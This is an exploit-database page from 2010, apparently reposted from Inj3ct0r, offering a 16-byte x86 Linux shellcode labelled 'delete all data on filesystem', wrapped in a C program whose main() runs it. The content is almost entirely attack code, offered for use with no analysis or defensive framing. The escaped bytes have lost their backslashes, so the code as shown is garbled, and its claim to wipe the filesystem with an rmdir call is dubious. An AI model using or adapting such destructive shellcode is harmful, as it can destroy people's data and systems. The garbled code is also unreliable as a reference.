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linux/x86 delete all data on filesystem shellcode

Posted on 25 June 2010

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linux/x86 delete all data on filesystem shellcode
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/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                 #########################################            1
0                 I'm gunslinger_ member from Inj3ct0r Team            1
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0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Title  : delete all data on filesystem x86 linux shellcode (dangerous !). 
Name   : 16 bytes sys_rmdir (&quot;/&quot;) x86 linux shellcode .
Date   : Thu Jun 24 22:52:03 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
*/

char *shellcode=
                &quot;xebx08&quot;                    /* jmp    0x804806a */
                &quot;xb0x28&quot;                    /* mov    $0x28,%al */
                &quot;x5b&quot;                        /* pop    %ebx */
                &quot;xcdx80&quot;                    /* int    $0x80 */
                &quot;x40&quot;                        /* inc    %eax */
                &quot;xcdx80&quot;                    /* int    $0x80 */
                &quot;xe8xf3xffxffxff&quot;        /* call   0x8048062 */
                &quot;x2f&quot;;                       /* das     */

int main(void)
{
                ((void (*)(void)) shellcode)();
                return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-25]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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